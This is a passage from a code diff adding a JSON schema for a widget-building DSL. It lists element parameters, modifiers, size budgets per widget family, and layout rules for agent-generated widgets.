"opacity", + "type": "float|null", + "default": null + }, + { + "name": "padding", + "type": "float|null", + "default": null + }, + { + "name": "frame", + "type": "Frame|null", + "default": null + } + ] + }, + "spacer": { + "node": "spacer", + "status": "public", + "agentRecommended": true, + "parameters": [ + { + "name": "length", + "type": "float|null", + "default": null + } + ] + }, + "divider": { + "node": "divider", + "status": "public", + "agentRecommended": true, + "parameters": [ + { + "name": "color", + "type": "ColorLike|null", + "default": null + }, + { + "name": "opacity", + "type": "float|null", + "default": null + } + ] + }, + "shape": { + "node": "shape", + "status": "public", + "advancedSemantic": true, + "agentRecommended": true, + "parameters": [ + { + "name": "kind", + "type": "rectangle|rounded_rectangle|circle|capsule", + "default": "rectangle" + }, + { + "name": "color", + "type": "ColorLike|null", + "default": null + }, + { + "name": "width", + "type": "float|null", + "default": null + }, + { + "name": "height", + "type": "float|null", + "default": null + }, + { + "name": "size", + "type": "float|null", + "default": null + }, + { + "name": "corner_radius", + "type": "float|null", + "default": null + }, + { + "name": "opacity", + "type": "float|null", + "default": null + }, + { + "name": "padding", + "type": "float|null", + "default": null + }, + { + "name": "frame", + "type": "Frame|null", + "default": null + }, + { + "name": "border_color", + "type": "ColorLike|null", + "default": null + }, + { + "name": "border_width", + "type": "float|null", + "default": null + }, + { + "name": "shadow_color", + "type": "ColorLike|null", + "default": null + }, + { + "name": "shadow_radius", + "type": "float|null", + "default": null + }, + { + "name": "shadow_x", + "type": "float", + "default": 0 + }, + { + "name": "shadow_y", + "type": "float", + "default": 2 + } + ] + }, + "rectangle": { + "node": "shape", + "status": "compatibility", + "agentHidden": true, + "parameters": [ + { + "name": "color", + "type": "ColorLike|null", + "default": null + }, + { + "name": "width", + "type": "float|null", + "default": null + }, + { + "name": "height", + "type": "float|null", + "default": null + }, + { + "name": "corner_radius", + "type": "float|null", + "default": null + }, + { + "name": "opacity", + "type": "float|null", + "default": null + }, + { + "name": "padding", + "type": "float|null", + "default": null + }, + { + "name": "frame", + "type": "Frame|null", + "default": null + }, + { + "name": "border_color", + "type": "ColorLike|null", + "default": null + }, + { + "name": "border_width", + "type": "float|null", + "default": null + } + ] + }, + "circle": { + "node": "shape", + "status": "compatibility", + "agentHidden": true, + "parameters": [ + { + "name": "color", + "type": "ColorLike|null", + "default": null + }, + { + "name": "size", + "type": "float|null", + "default": null + }, + { + "name": "opacity", + "type": "float|null", + "default": null + }, + { + "name": "padding", + "type": "float|null", + "default": null + }, + { + "name": "frame", + "type": "Frame|null", + "default": null + }, + { + "name": "border_color", + "type": "ColorLike|null", + "default": null + }, + { + "name": "border_width", + "type": "float|null", + "default": null + } + ] + }, + "capsule": { + "node": "shape", + "status": "compatibility", + "agentHidden": true, + "parameters": [ + { + "name": "color", + "type": "ColorLike|null", + "default": null + }, + { + "name": "width", + "type": "float|null", + "default": null + }, + { + "name": "height", + "type": "float|null", + "default": null + }, + { + "name": "opacity", + "type": "float|null", + "default": null + }, + { + "name": "padding", + "type": "float|null", + "default": null + }, + { + "name": "frame", + "type": "Frame|null", + "default": null + }, + { + "name": "border_color", + "type": "ColorLike|null", + "default": null + }, + { + "name": "border_width", + "type": "float|null", + "default": null + } + ] + }, + "emoji": { + "node": "emoji", + "status": "compatibility", + "agentHidden": true, + "parameters": [ + { + "name": "content", + "type": "str|int", + "required": true + }, + { + "name": "size", + "type": "float|null", + "default": null + }, + { + "name": "opacity", + "type": "float|null", + "default": null + }, + { + "name": "padding", + "type": "float|null", + "default": null + } + ] + }, + "progress": { + "node": "progress", + "status": "public", + "agentRecommended": true, + "parameters": [ + { + "name": "value", + "type": "float", + "required": true + }, + { + "name": "total", + "type": "float", + "default": 1.0 + }, + { + "name": "color", + "type": "ColorLike|null", + "default": null + }, + { + "name": "height", + "type": "float|null", + "default": null + }, + { + "name": "track_color", + "type": "ColorLike|null", + "default": null + } + ] + }, + "sparkline": { + "node": "sparkline", + "status": "compatibility", + "agentHidden": true, + "parameters": [ + { + "name": "values", + "type": "NumberList", + "required": true + }, + { + "name": "color", + "type": "ColorLike|null", + "default": null + }, + { + "name": "height", + "type": "float|null", + "default": null + }, + { + "name": "min_value", + "type": "float|null", + "default": null + }, + { + "name": "max_value", + "type": "float|null", + "default": null + }, + { + "name": "fill", + "type": "bool", + "default": true + }, + { + "name": "show_points", + "type": "bool", + "default": false + }, + { + "name": "line_width", + "type": "float|null", + "default": null + }, + { + "name": "track_color", + "type": "ColorLike|null", + "default": null + }, + { + "name": "opacity", + "type": "float|null", + "default": null + }, + { + "name": "padding", + "type": "float|null", + "default": null + }, + { + "name": "frame", + "type": "Frame|null", + "default": null + }, + { + "name": "baseline", + "type": "float|null", + "default": null + }, + { + "name": "threshold", + "type": "float|null", + "default": null + }, + { + "name": "labels", + "type": "list|dict|null", + "default": null + }, + { + "name": "label_color", + "type": "ColorLike|null", + "default": null + } + ] + }, + "line_chart": { + "node": "lineChart", + "status": "compatibility", + "agentHidden": true, + "parameters": [ + { + "name": "values", + "type": "NumberList", + "required": true + }, + { + "name": "color", + "type": "ColorLike|null", + "default": null + }, + { + "name": "height", + "type": "float|null", + "default": null + }, + { + "name": "min_value", + "type": "float|null", + "default": null + }, + { + "name": "max_value", + "type": "float|null", + "default": null + }, + { + "name": "fill", + "type": "bool", + "default": true + }, + { + "name": "show_points", + "type": "bool", + "default": true + }, + { + "name": "line_width", + "type": "float|null", + "default": null + }, + { + "name": "track_color", + "type": "ColorLike|null", + "default": null + }, + { + "name": "opacity", + "type": "float|null", + "default": null + }, + { + "name": "padding", + "type": "float|null", + "default": null + }, + { + "name": "frame", + "type": "Frame|null", + "default": null + }, + { + "name": "baseline", + "type": "float|null", + "default": null + }, + { + "name": "threshold", + "type": "float|null", + "default": null + }, + { + "name": "labels", + "type": "list|dict|null", + "default": null + }, + { + "name": "label_color", + "type": "ColorLike|null", + "default": null + } + ] + }, + "bar_chart": { + "node": "barChart", + "status": "compatibility", + "agentHidden": true, + "parameters": [ + { + "name": "values", + "type": "NumberList", + "required": true + }, + { + "name": "color", + "type": "ColorLike|null", + "default": null + }, + { + "name": "height", + "type": "float|null", + "default": null + }, + { + "name": "min_value", + "type": "float|null", + "default": null + }, + { + "name": "max_value", + "type": "float|null", + "default": null + }, + { + "name": "spacing", + "type": "float|null", + "default": null + }, + { + "name": "corner_radius", + "type": "float|null", + "default": null + }, + { + "name": "track_color", + "type": "ColorLike|null", + "default": null + }, + { + "name": "opacity", + "type": "float|null", + "default": null + }, + { + "name": "padding", + "type": "float|null", + "default": null + }, + { + "name": "frame", + "type": "Frame|null", + "default": null + }, + { + "name": "baseline", + "type": "float|null", + "default": null + }, + { + "name": "threshold", + "type": "float|null", + "default": null + }, + { + "name": "labels", + "type": "list|dict|null", + "default": null + }, + { + "name": "label_color", + "type": "ColorLike|null", + "default": null + } + ] + }, + "ring_chart": { + "node": "ringChart", + "status": "compatibility", + "agentHidden": true, + "parameters": [ + { + "name": "value", + "type": "float", + "required": true + }, + { + "name": "total", + "type": "float", + "default": 1.0 + }, + { + "name": "label", + "type": "str|null", + "default": null + }, + { + "name": "color", + "type": "ColorLike|null", + "default": null + }, + { + "name": "track_color", + "type": "ColorLike|null", + "default": null + }, + { + "name": "size", + "type": "float|null", + "default": null + }, + { + "name": "line_width", + "type": "float|null", + "default": null + }, + { + "name": "opacity", + "type": "float|null", + "default": null + }, + { + "name": "padding", + "type": "float|null", + "default": null + }, + { + "name": "frame", + "type": "Frame|null", + "default": null + } + ] + }, + "gauge": { + "node": "gauge", + "status": "compatibility", + "agentHidden": true, + "parameters": [ + { + "name": "value", + "type": "float", + "required": true + }, + { + "name": "total", + "type": "float", + "default": 1.0 + }, + { + "name": "label", + "type": "str|null", + "default": null + }, + { + "name": "size", + "type": "float|null", + "default": null + }, + { + "name": "color", + "type": "ColorLike|null", + "default": null + }, + { + "name": "track_color", + "type": "ColorLike|null", + "default": null + }, + { + "name": "line_width", + "type": "float|null", + "default": null + } + ] + }, + "timer": { + "node": "timer", + "status": "compatibility", + "agentHidden": true, + "parameters": [ + { + "name": "target", + "type": "datetime|str|null", + "default": null + }, + { + "name": "style", + "type": "str", + "default": "timer" + }, + { + "name": "size", + "type": "float|null", + "default": null + }, + { + "name": "weight", + "type": "str|null", + "default": null + }, + { + "name": "color", + "type": "ColorLike|null", + "default": null + }, + { + "name": "design", + "type": "str|null", + "default": null + }, + { + "name": "font_width", + "type": "str|null", + "default": null + }, + { + "name": "opacity", + "type": "float|null", + "default": null + }, + { + "name": "padding", + "type": "float|null", + "default": null + }, + { + "name": "frame", + "type": "Frame|null", + "default": null + } + ] + }, + "date": { + "node": "timer", + "status": "public", + "agentRecommended": true, + "parameters": [ + { + "name": "target", + "type": "datetime|str|null", + "default": null + }, + { + "name": "style", + "type": "str", + "default": "date" + } + ] + }, + "time": { + "node": "timer", + "status": "public", + "agentRecommended": true, + "parameters": [ + { + "name": "target", + "type": "datetime|str|null", + "default": null + } + ] + }, + "relative_time": { + "node": "timer", + "status": "public", + "agentRecommended": true, + "parameters": [ + { + "name": "target", + "type": "datetime|str|null", + "default": null + } + ] + }, + "timer_text": { + "node": "timer", + "status": "public", + "agentRecommended": true, + "parameters": [ + { + "name": "target", + "type": "datetime|str|null", + "default": null + } + ] + }, + "background_image": { + "node": "layout.backgroundImage", + "status": "public", + "agentRecommended": true, + "parameters": [ + { + "name": "asset", + "type": "asset name|local path|http(s) URL", + "required": true + }, + { + "name": "content_mode", + "type": "fit|fill", + "default": "fill" + }, + { + "name": "dim", + "type": "bool|float|null", + "default": null + }, + { + "name": "scrim", + "type": "bool|bottom|top|leading|trailing|full|null", + "default": null + }, + { + "name": "scrim_opacity", + "type": "float|null", + "default": null + }, + { + "name": "focal", + "type": "center|top|bottom|leading|trailing|topLeading|topTrailing|bottomLeading|bottomTrailing", + "default": "center" + }, + { + "name": "overlay_color", + "type": "ColorLike", + "default": "#000000" + } + ] + }, + "background": { + "node": "layout.background", + "status": "public", + "agentRecommended": true, + "parameters": [ + { + "name": "value", + "type": "WidgetBackground", + "required": true + } + ], + "returns": "Widget" + }, + "image": { + "node": "image", + "status": "public", + "agentRecommended": true, + "parameters": [ + { + "name": "name", + "type": "asset name|http(s) URL", + "required": true + }, + { + "name": "width", + "type": "float|null", + "default": null + }, + { + "name": "height", + "type": "float|null", + "default": null + }, + { + "name": "corner_radius", + "type": "float|null", + "default": null + }, + { + "name": "opacity", + "type": "float|null", + "default": null + }, + { + "name": "padding", + "type": "float|null", + "default": null + }, + { + "name": "content_mode", + "type": "fit|fill|null", + "default": null + } + ] + }, + "photo": { + "node": "image", + "status": "compatibility", + "agentHidden": true, + "parameters": [ + { + "name": "name", + "type": "asset name|http(s) URL", + "required": true + }, + { + "name": "width", + "type": "float|null", + "default": null + }, + { + "name": "height", + "type": "float|null", + "default": null + }, + { + "name": "corner_radius", + "type": "float|null", + "default": null + }, + { + "name": "opacity", + "type": "float|null", + "default": null + }, + { + "name": "padding", + "type": "float|null", + "default": null + }, + { + "name": "content_mode", + "type": "fit|fill|null", + "default": null + } + ] + }, + "avatar": { + "node": "image", + "status": "compatibility", + "agentHidden": true, + "parameters": [ + { + "name": "name", + "type": "asset name|http(s) URL", + "required": true + }, + { + "name": "size", + "type": "float|null", + "default": null + }, + { + "name": "opacity", + "type": "float|null", + "default": null + }, + { + "name": "padding", + "type": "float|null", + "default": null + } + ] + }, + "thumbnail": { + "node": "image", + "status": "compatibility", + "agentHidden": true, + "parameters": [ + { + "name": "name", + "type": "asset name|http(s) URL", + "required": true + }, + { + "name": "width", + "type": "float|null", + "default": null + }, + { + "name": "height", + "type": "float|null", + "default": null + }, + { + "name": "corner_radius", + "type": "float|null", + "default": null + }, + { + "name": "opacity", + "type": "float|null", + "default": null + }, + { + "name": "padding", + "type": "float|null", + "default": null + } + ] + }, + "button": { + "node": "button", + "status": "public", + "agentRecommended": true, + "parameters": [ + { + "name": "title", + "type": "str", + "required": true + }, + { + "name": "action", + "type": "str|null", + "default": null + }, + { + "name": "url", + "type": "str|null", + "default": null + }, + { + "name": "color", + "type": "ColorLike|null", + "default": null + }, + { + "name": "background", + "type": "WidgetBackground|null", + "default": null + }, + { + "name": "size", + "type": "float|null", + "default": null + }, + { + "name": "padding", + "type": "float|null", + "default": null + } + ] + }, + "link": { + "node": "text", + "status": "public", + "agentRecommended": true, + "parameters": [ + { + "name": "title", + "type": "str", + "required": true + }, + { + "name": "url", + "type": "str", + "required": true + }, + { + "name": "icon", + "type": "str|null", + "default": null + }, + { + "name": "color", + "type": "ColorLike|null", + "default": null + } + ] + }, + "toggle": { + "node": "toggle", + "status": "public", + "agentRecommended": true, + "parameters": [ + { + "name": "title", + "type": "str", + "required": true + }, + { + "name": "is_on", + "type": "bool|str", + "default": false + }, + { + "name": "action", + "type": "str|null", + "default": null + }, + { + "name": "url", + "type": "str|null", + "default": null + }, + { + "name": "color", + "type": "ColorLike|null", + "default": null + }, + { + "name": "background", + "type": "WidgetBackground|null", + "default": null + }, + { + "name": "size", + "type": "float|null", + "default": null + }, + { + "name": "padding", + "type": "float|null", + "default": null + } + ], + "notes": [ + "The script supplies the current state; tapping can trigger action or open url." + ] + }, + "hstack": { + "node": "hstack", + "status": "compatibility", + "container": true, + "agentHidden": true + }, + "vstack": { + "node": "vstack", + "status": "compatibility", + "container": true, + "agentHidden": true + }, + "zstack": { + "node": "zstack", + "status": "compatibility", + "container": true, + "agentHidden": true + }, + "grid": { + "node": "grid", + "status": "public", + "container": true, + "advancedSemantic": true, + "agentRecommended": true, + "parameters": [ + { + "name": "columns", + "type": "int", + "default": 2 + } + ] + }, + "card": { + "node": "card", + "status": "compatibility", + "container": true, + "agentHidden": true, + "parameters": [ + { + "name": "style", + "type": "str|null", + "keywordOnly": true, + "default": null, + "status": "internal" + } + ] + }, + "validate": { + "agentRecommended": true, + "parameters": [ + { + "name": "family", + "type": "Family|null", + "default": null + } + ], + "returns": "dict" + }, + "render": { + "agentRecommended": true, + "parameters": [ + { + "name": "url", + "type": "str|null", + "default": null + } + ], + "returns": "None" + }, + "canvas": { + "node": "canvas", + "status": "public", + "advancedSemantic": true, + "container": true, + "agentRecommended": true, + "parameters": [ + { + "name": "height", + "type": "float|null", + "default": null + }, + { + "name": "coordinate_space", + "type": "relative|points", + "default": "relative" + }, + { + "name": "align", + "type": "str", + "default": "center" + }, + { + "name": "background", + "type": "WidgetBackground|null", + "default": null + }, + { + "name": "padding", + "type": "float|null", + "default": null + }, + { + "name": "corner_radius", + "type": "float|null", + "default": null + }, + { + "name": "border_color", + "type": "ColorLike|null", + "default": null + }, + { + "name": "border_width", + "type": "float|null", + "default": null + }, + { + "name": "opacity", + "type": "float|null", + "default": null + }, + { + "name": "frame", + "type": "Frame|null", + "default": null, + "agentHidden": true + } + ], + "notes": [ + "Use for poster-like exact placement or custom vector decoration. Prefer normal layout primitives unless exact drawing is needed." + ] + }, + "path": { + "node": "path", + "status": "public", + "advancedSemantic": true, + "agentRecommended": true, + "parameters": [ + { + "name": "points", + "type": "list[PathPoint]", + "required": true + }, + { + "name": "stroke", + "type": "ColorLike|null", + "default": null + }, + { + "name": "fill", + "type": "ColorLike|null", + "default": null + }, + { + "name": "line_width", + "type": "float|null", + "default": null + }, + { + "name": "closed", + "type": "bool", + "default": false + }, + { + "name": "height", + "type": "float|null", + "default": null + }, + { + "name": "coordinate_space", + "type": "relative|points", + "default": "relative" + }, + { + "name": "opacity", + "type": "float|null", + "default": null + }, + { + "name": "padding", + "type": "float|null", + "default": null + }, + { + "name": "frame", + "type": "Frame|null", + "default": null, + "agentHidden": true + } + ], + "notes": [ + "Relative points use 0..1 coordinates inside the path drawing area or canvas." + ] + } + } + } + }, + "modifiers": { + "shadow": [ + "color", + "radius", + "x", + "y" + ], + "background": [ + "value" + ], + "overlay": [ + "color", + "opacity" + ], + "clip": [ + "kind", + "corner_radius" + ], + "mask": [ + "kind", + "corner_radius" + ], + "link": [ + "url" + ], + "accessibility": [ + "label", + "value", + "hint", + "hidden" + ], + "capsule": [ + "tone", + "padding" + ], + "soft_background": [ + "tone", + "corner_radius", + "padding" + ], + "slot": [ + "value" + ], + "frame": [ + "width", + "height", + "minWidth", + "maxWidth", + "minHeight", + "maxHeight", + "alignment" + ], + "font": [ + "value", + "size", + "weight", + "**sizes" + ], + "font_style": [ + "style" + ], + "font_weight": [ + "weight" + ], + "font_width": [ + "width" + ], + "monospaced": [ + "enabled" + ], + "compressed": [ + "enabled" + ], + "color": [ + "value" + ], + "tone": [ + "value" + ], + "height": [ + "value", + "small", + "medium", + "large", + "rectangular", + "circular", + "inline" + ], + "width": [ + "value", + "small", + "medium", + "large", + "rectangular", + "circular", + "inline" + ], + "padding": [ + "value", + "horizontal", + "vertical", + "top", + "leading", + "bottom", + "trailing" + ], + "align": [ + "value" + ], + "corner_radius": [ + "value" + ], + "opacity": [ + "value" + ], + "guide_lines": [ + "count", + "color" + ], + "grid": [ + "count", + "color" + ], + "points": [ + "enabled" + ], + "fill": [ + "enabled" + ], + "line_width": [ + "value" + ], + "track_color": [ + "value" + ], + "bar_spacing": [ + "value" + ], + "segment_colors": [ + "colors" + ], + "line_limit": [ + "value" + ], + "min_scale": [ + "value" + ], + "offset": [ + "x", + "y" + ], + "layout_priority": [ + "value" + ], + "fixed_size": [ + "horizontal", + "vertical" + ], + "hide": [ + "*families" + ], + "show": [ + "*families" + ], + "overlay_view": [ + "align" + ], + "mask_view": [ + "align" + ], + "place": [ + "x", + "y", + "unit" + ], + "baseline": [ + "value", + "color" + ], + "threshold": [ + "value", + "color" + ], + "labels": [ + "start", + "end", + "color" + ] + }, + "commonFields": [ + "type", + "children", + "content", + "name", + "asset", + "value", + "values", + "size", + "width", + "height", + "length", + "color", + "darkColor", + "background", + "darkBg", + "darkBackground", + "gradient", + "gradientDirection", + "trackColor", + "darkTrackColor", + "borderColor", + "darkBorderColor", + "borderWidth", + "cornerRadius", + "padding", + "opacity", + "frame", + "url", + "action", + "align", + "spacing", + "rowSpacing", + "columnSpacing", + "columns", + "weight", + "design", + "fontWidth", + "maxLines", + "minimumScaleFactor", + "shapeKind", + "chartType", + "minValue", + "maxValue", + "fill", + "showPoints", + "lineWidth", + "guideLines", + "barSpacing", + "segmentColors", + "darkSegmentColors", + "timerStyle", + "targetDate", + "contentMode", + "shadowColor", + "darkShadowColor", + "shadowRadius", + "shadowX", + "shadowY", + "offsetX", + "offsetY", + "layoutPriority", + "fixedSizeHorizontal", + "fixedSizeVertical", + "backgroundImageFocal", + "backgroundImageOverlay", + "darkBackgroundImageOverlay", + "backgroundImageOverlayOpacity", + "backgroundImageScrim", + "backgroundImageScrimOpacity", + "runs", + "isOn", + "overlayColor", + "darkOverlayColor", + "overlayOpacity", + "clipShape", + "clipCornerRadius", + "maskShape", + "maskCornerRadius", + "accessibilityLabel", + "accessibilityValue", + "accessibilityHint", + "accessibilityHidden", + "pathPoints", + "pathClosed", + "coordinateSpace", + "positionX", + "positionY", + "positionUnit", + "strokeColor", + "darkStrokeColor", + "fillColor", + "darkFillColor", + "thresholdValue", + "thresholdColor", + "darkThresholdColor", + "baselineValue", + "baselineColor", + "darkBaselineColor", + "startLabel", + "endLabel", + "labelColor", + "darkLabelColor", + "overlayChildren", + "maskChildren" + ], + "layout": { + "required": [ + "version", + "root" + ], + "fields": [ + "version", + "background", + "darkBackground", + "gradient", + "gradientDirection", + "backgroundImage", + "backgroundImageContentMode", + "backgroundImageFocal", + "backgroundImageOverlay", + "darkBackgroundImageOverlay", + "backgroundImageOverlayOpacity", + "backgroundImageScrim", + "backgroundImageScrimOpacity", + "padding", + "url", + "root" + ] + }, + "nodes": { + "text": { + "required": [ + "content" + ], + "fields": [ + "content", + "size", + "weight", + "color", + "align", + "maxLines", + "design", + "fontWidth", + "opacity", + "padding", + "frame", + "minimumScaleFactor" + ] + }, + "richText": { + "required": [ + "runs" + ], + "fields": [ + "runs", + "content", + "size", + "weight", + "color", + "align", + "maxLines", + "design", + "fontWidth", + "opacity", + "padding", + "frame", + "minimumScaleFactor" + ] + }, + "emoji": { + "required": [ + "content" + ], + "fields": [ + "content", + "size", + "opacity", + "padding" + ] + }, + "icon": { + "required": [ + "name" + ], + "fields": [ + "name", + "size", + "color", + "weight", + "opacity", + "padding", + "frame" + ] + }, + "spacer": { + "required": [], + "fields": [ + "length" + ] + }, + "divider": { + "required": [], + "fields": [ + "color", + "opacity" + ] + }, + "shape": { + "required": [ + "shapeKind" + ], + "fields": [ + "shapeKind", + "color", + "size", + "height", + "cornerRadius", + "opacity", + "padding", + "frame", + "borderColor", + "borderWidth", + "shadowColor", + "shadowRadius", + "shadowX", + "shadowY" + ] + }, + "progress": { + "required": [ + "value" + ], + "fields": [ + "value", + "color", + "trackColor", + "height" + ] + }, + "sparkline": { + "required": [ + "values" + ], + "fields": [ + "values", + "height", + "color", + "trackColor", + "minValue", + "maxValue", + "fill", + "showPoints", + "lineWidth", + "guideLines", + "segmentColors", + "darkSegmentColors", + "opacity", + "padding", + "frame", + "thresholdValue", + "thresholdColor", + "darkThresholdColor", + "baselineValue", + "baselineColor", + "darkBaselineColor", + "startLabel", + "endLabel", + "labelColor", + "darkLabelColor" + ] + }, + "lineChart": { + "required": [ + "values" + ], + "fields": [ + "values", + "height", + "color", + "trackColor", + "minValue", + "maxValue", + "fill", + "showPoints", + "lineWidth", + "guideLines", + "segmentColors", + "darkSegmentColors", + "opacity", + "padding", + "frame", + "thresholdValue", + "thresholdColor", + "darkThresholdColor", + "baselineValue", + "baselineColor", + "darkBaselineColor", + "startLabel", + "endLabel", + "labelColor", + "darkLabelColor" + ] + }, + "barChart": { + "required": [ + "values" + ], + "fields": [ + "values", + "height", + "color", + "trackColor", + "minValue", + "maxValue", + "barSpacing", + "cornerRadius", + "guideLines", + "segmentColors", + "darkSegmentColors", + "opacity", + "padding", + "frame", + "thresholdValue", + "thresholdColor", + "darkThresholdColor", + "baselineValue", + "baselineColor", + "darkBaselineColor", + "startLabel", + "endLabel", + "labelColor", + "darkLabelColor" + ] + }, + "ringChart": { + "required": [ + "value" + ], + "fields": [ + "value", + "content", + "size", + "lineWidth", + "color", + "trackColor", + "opacity", + "padding", + "frame" + ] + }, + "gauge": { + "required": [ + "value" + ], + "fields": [ + "value", + "content", + "size", + "color", + "trackColor", + "height" + ] + }, + "timer": { + "required": [ + "targetDate" + ], + "fields": [ + "targetDate", + "timerStyle", + "size", + "weight", + "color", + "design", + "fontWidth", + "opacity", + "padding", + "frame" + ] + }, + "image": { + "required": [ + "name" + ], + "fields": [ + "name", + "asset", + "frame", + "cornerRadius", + "opacity", + "padding", + "contentMode" + ] + }, + "button": { + "required": [ + "content" + ], + "fields": [ + "content", + "action", + "url", + "color", + "background", + "size", + "padding" + ] + }, + "toggle": { + "required": [ + "content", + "isOn" + ], + "fields": [ + "content", + "isOn", + "action", + "url", + "color", + "background", + "size", + "padding" + ] + }, + "hstack": { + "required": [], + "fields": [ + "children", + "spacing", + "align", + "padding", + "background", + "opacity", + "cornerRadius", + "borderColor", + "borderWidth", + "url", + "shadowColor", + "shadowRadius", + "shadowX", + "shadowY" + ] + }, + "vstack": { + "required": [], + "fields": [ + "children", + "spacing", + "align", + "padding", + "background", + "opacity", + "cornerRadius", + "borderColor", + "borderWidth", + "url", + "shadowColor", + "shadowRadius", + "shadowX", + "shadowY" + ] + }, + "zstack": { + "required": [], + "fields": [ + "children", + "align", + "padding", + "background", + "opacity", + "cornerRadius", + "borderColor", + "borderWidth", + "url", + "shadowColor", + "shadowRadius", + "shadowX", + "shadowY" + ] + }, + "grid": { + "required": [ + "children", + "columns" + ], + "fields": [ + "children", + "columns", + "spacing", + "rowSpacing", + "columnSpacing", + "align", + "padding", + "background", + "opacity", + "cornerRadius", + "borderColor", + "borderWidth", + "url", + "shadowColor", + "shadowRadius", + "shadowX", + "shadowY" + ] + }, + "card": { + "required": [ + "children" + ], + "fields": [ + "children", + "spacing", + "padding", + "opacity", + "cornerRadius", + "align", + "background", + "borderColor", + "borderWidth", + "url", + "shadowColor", + "shadowRadius", + "shadowX", + "shadowY" + ] + }, + "path": { + "required": [ + "pathPoints" + ], + "fields": [ + "pathPoints", + "pathClosed", + "coordinateSpace", + "height", + "strokeColor", + "darkStrokeColor", + "fillColor", + "darkFillColor", + "lineWidth", + "opacity", + "padding", + "frame" + ], + "notes": "Advanced semantic vector path with relative or point coordinates." + }, + "canvas": { + "required": [ + "children" + ], + "fields": [ + "children", + "height", + "coordinateSpace", + "align", + "padding", + "background", + "opacity", + "cornerRadius", + "borderColor", + "borderWidth", + "shadowColor", + "shadowRadius", + "shadowX", + "shadowY", + "frame" + ], + "notes": "Advanced semantic drawing surface for paths and placed child nodes." + } + }, + "familyBudgets": { + "small": { + "maxNodes": 20, + "maxTextNodes": 6, + "maxDepth": 4, + "maxTextSize": 34, + "maxTextLength": 28, + "maxOffset": 18, + "maxGridColumns": 2, + "contentWidth": 158, + "contentHeight": 158, + "maxHStackChildren": 4, + "avoidNodes": [] + }, + "medium": { + "maxNodes": 28, + "maxTextNodes": 10, + "maxDepth": 5, + "maxTextSize": 38, + "maxTextLength": 42, + "maxOffset": 26, + "maxGridColumns": 4, + "contentWidth": 338, + "contentHeight": 158, + "maxHStackChildren": 6, + "avoidNodes": [] + }, + "large": { + "maxNodes": 40, + "maxTextNodes": 16, + "maxDepth": 6, + "maxTextSize": 42, + "maxTextLength": 56, + "maxOffset": 32, + "maxGridColumns": 4, + "contentWidth": 338, + "contentHeight": 354, + "maxHStackChildren": 7, + "avoidNodes": [] + }, + "circular": { + "maxNodes": 8, + "maxTextNodes": 2, + "maxDepth": 3, + "maxTextSize": 16, + "maxTextLength": 10, + "maxOffset": 6, + "maxGridColumns": 1, + "contentWidth": 64, + "contentHeight": 64, + "maxHStackChildren": 2, + "avoidNodes": [ + "card", + "image", + "divider", + "sparkline", + "lineChart", + "barChart" + ] + }, + "rectangular": { + "maxNodes": 14, + "maxTextNodes": 4, + "maxDepth": 4, + "maxTextSize": 18, + "maxTextLength": 18, + "maxOffset": 8, + "maxGridColumns": 2, + "contentWidth": 160, + "contentHeight": 56, + "maxHStackChildren": 4, + "avoidNodes": [ + "card", + "image", + "barChart" + ] + }, + "inline": { + "maxNodes": 4, + "maxTextNodes": 2, + "maxDepth": 2, + "maxTextSize": 14, + "maxTextLength": 16, + "maxOffset": 4, + "maxGridColumns": 1, + "contentWidth": 220, + "contentHeight": 22, + "maxHStackChildren": 2, + "avoidNodes": [ + "card", + "image", + "divider", + "progress", + "gauge", + "ringChart", + "sparkline", + "lineChart", + "barChart", + "vstack", + "zstack", + "grid" + ] + } + }, + "agentPolicy": { + "defaultStyle": "semantic_primitives", + "recommendedConstructor": "Widget(style='clean')", + "recommendedMethods": [ + "title", + "caption", + "body", + "text", + "rich_text", + "value", + "change", + "line", + "bar", + "ring", + "progress", + "metric", + "badge", + "symbol", + "image", + "background_image", + "background", + "list", + "row", + "column", + "layer", + "grid", + "surface", + "section", + "region", + "shape", + "spacer", + "divider", + "date", + "time", + "relative_time", + "timer_text", + "button", + "toggle", + "link", + "validate", + "render", + "canvas", + "path" + ], + "notForAgentGeneration": [ + "show", + "preview", + "schema", + "reload_user_widgets", + "reload_test_widgets", + "headline", + "subheadline", + "label", + "detail", + "footnote", + "note", + "number", + "currency", + "percent", + "sf_symbol", + "status", + "tag", + "pill", + "kpi", + "stat", + "pair", + "trend", + "area", + "spark", + "bars", + "donut", + "radial", + "meter", + "gauge", + "progress_bar", + "sparkline", + "line_chart", + "bar_chart", + "ring_chart", + "timer", + "icon", + "photo", + "avatar", + "thumbnail", + "rectangle", + "circle", + "capsule", + "emoji", + "top", + "top_leading", + "top_trailing", + "leading", + "center", + "trailing", + "bottom", + "bottom_leading", + "bottom_trailing", + "hstack", + "vstack", + "zstack", + "card", + "soft_background", + "slot", + "frame", + "offset", + "fixed_size" + ], + "defaultFamilies": [ + "small", + "medium", + "large" + ], + "accessoryFamilies": [ + "circular", + "rectangular", + "inline" + ], + "familyRule": "Agent-generated widgets target small/medium/large by default. Only generate or validate circular/rectangular/inline when the user explicitly asks for Lock Screen/accessory/all sizes.", + "manualLayoutRule": "Do not generate compatibility DSL names from Agent flows: hstack/vstack/zstack/card, positional shortcut containers, raw chart nodes, frame, offset, and fixed_size. Use row(), column(), layer(), surface(), grid(), region(), family_value(), and hide()/show() for intentional semantic layout.", + "defaultPaddingRule": "Root widget padding and semantic spacing are automatic. Agents must not add padding() by default; use it only for an explicit user-requested inset or a specific local adjustment.", + "densityRule": "Medium and large Home Screen widgets need enough semantic structure. Large widgets must add extra metrics, list rows, sections, charts, progress, or an intentional region() layout instead of stretching a sparse medium layout.", + "valueRule": "Use value() only for the primary number/value. For repeated text use list(), metric(), body(), text(), row(), column(), or section()." + }, + "agentDefaults": { + "prefer": [ + "Widget(style='clean')", + "Widget(background='#F8FAFC', style='clean')", + "title", + "caption", + "body", + "text", + "rich_text", + "value", + "change", + "line", + "bar", + "ring", + "progress", + "metric", + "badge", + "symbol", + "image", + "background_image", + "background", + "list", + "row", + "column", + "layer", + "surface", + "region", + "family_value", + "history", + "cache_json", + "link", + "toggle", + "canvas", + "path" + ], + "avoid": [ + "undocumented parameters", + "default padding()", + "manual absolute coordinates outside Canvas", + "compatibility hstack/vstack/zstack/card/frame/offset/fixed_size", + "looping value() for list items", + "capsule or soft backgrounds unless requested", + "AppUI components", + "large base64 payloads" + ], + "advancedModifiers": [ + "padding", + "background", + "overlay", + "clip", + "mask", + "link", + "accessibility", + "overlay_view", + "mask_view", + "place" + ], + "requiredValidation": "workspace(action='validate') for edited widget files; default scope is small/medium/large. Use families='accessory' or families='all' only when the user explicitly requests those surfaces. Widget 诊断 is blocking, including sparse large widgets with obvious 